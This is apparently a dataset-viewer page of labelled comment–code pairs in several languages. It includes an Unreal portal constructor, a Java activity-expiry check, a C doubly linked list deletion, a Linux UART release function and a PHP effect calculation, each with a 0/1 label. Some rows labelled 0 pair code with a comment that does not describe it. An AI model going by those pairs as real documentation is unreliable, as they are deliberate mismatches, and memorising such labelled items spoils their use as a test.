PrimaryActorTick.bCanEverTick = true;
bIsActive = false;
RootComponent = CreateDefaultSubobject<USceneComponent>(TEXT("RootComponent"));
RootComponent->Mobility = EComponentMobility::Static;
PortalRootComponent = CreateDefaultSubobject<USceneComponent>(TEXT("PortalRootComponent"));
PortalRoot... | 1 |
918335e39283e94f4c5975e8f99a4d62 | 64e12a1746c4d9d8e95ee2d5d67f9a5e | 活动失效操作 - 禁用活动失效操作判断 | String activityStatus = actBaseInfo.getEnableFlag();
Date endDate = actBaseInfo.getEndTime();
Date curTime = new Date();
if(actBaseInfo.getFinishDays() > 0){
Calendar actEndDate = Calendar.getInstance();
actEndDate.setTime(endDate);
actEndDate.add(Calendar.D... | 1 |
1d6e0deecd0854180f3ece450c7a42de | 2d31d0614bd16e8c321cb0aefd54bcbc | Untoggle the sepia theme | stipplingInProgress = false;
const stippleButton = document.getElementById('stippleButton');
stippleButton.style.backgroundColor = '#4CAF50';
stippleButton.value = 'Stipple!';
} | 0 |
92243ed11642298cee89ebfbf9b9a8fa | aace2aa842416c1c842bf2f994cf4bb9 | list의 맨 앞에서 node를 삭제하고 반환하는 함수 | listNode*lead = h -> rlink;
if(lead == h){
printf("삭제할 노드가 없습니다\n");
return 0;
}
if((lead -> rlink)==h){
h -> rlink = h;
h -> llink = h;
}
else{
(lead -> rlink)-> llink = h;
h -> rlink = lead -> rlink;
}
free(lead);
return 0;
} | 0 |
e5ccd6de86d73b32354cf9e0a9928b25 | fee1b3b54f16757ecd560c40980e751a | Dealloca tutta la memoria utilizzata dal driver, de-inizializzando il device e disattivando gli interrupt per il
device, effettuando tutte le operazioni inverse della funzione UART_probe(). | static int dev_release(struct inode *inodep, struct file *filep)
{
disable_uart();
printk(KERN_INFO "RpiDDChar: Dispositivo cerrado correctamente...\n");
return 0;
} | 0 |
1c121bb87b78e1a1d31bdfd617906547 | 800c36a5f4e92b0d3b0e246871c9eb0d | 根据SalesOrder 对象初始化控件 | namespace BugsBox.Pharmacy.AppClient.UI.Forms.SalesBusiness
public partial class FormSalesOrderEdit : BaseFunctionForm
private void GetSalesOrderInstance()
{
if (_operation == FormOperation.Add)
{
if (_salesOrder == null)
_salesOrder = new SalesOrd... | 0 |
5b34afdd3d9f5587cb4edc86ee974b8a | b3d83c2d552d31a7b7701b0d3081123a | ● 返回当前血条效果的上界 | {
return self::JOCKEY_EFFECT - (self::JOCKEY_EFFECT * ($this->strength * 8 / 100));
} | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.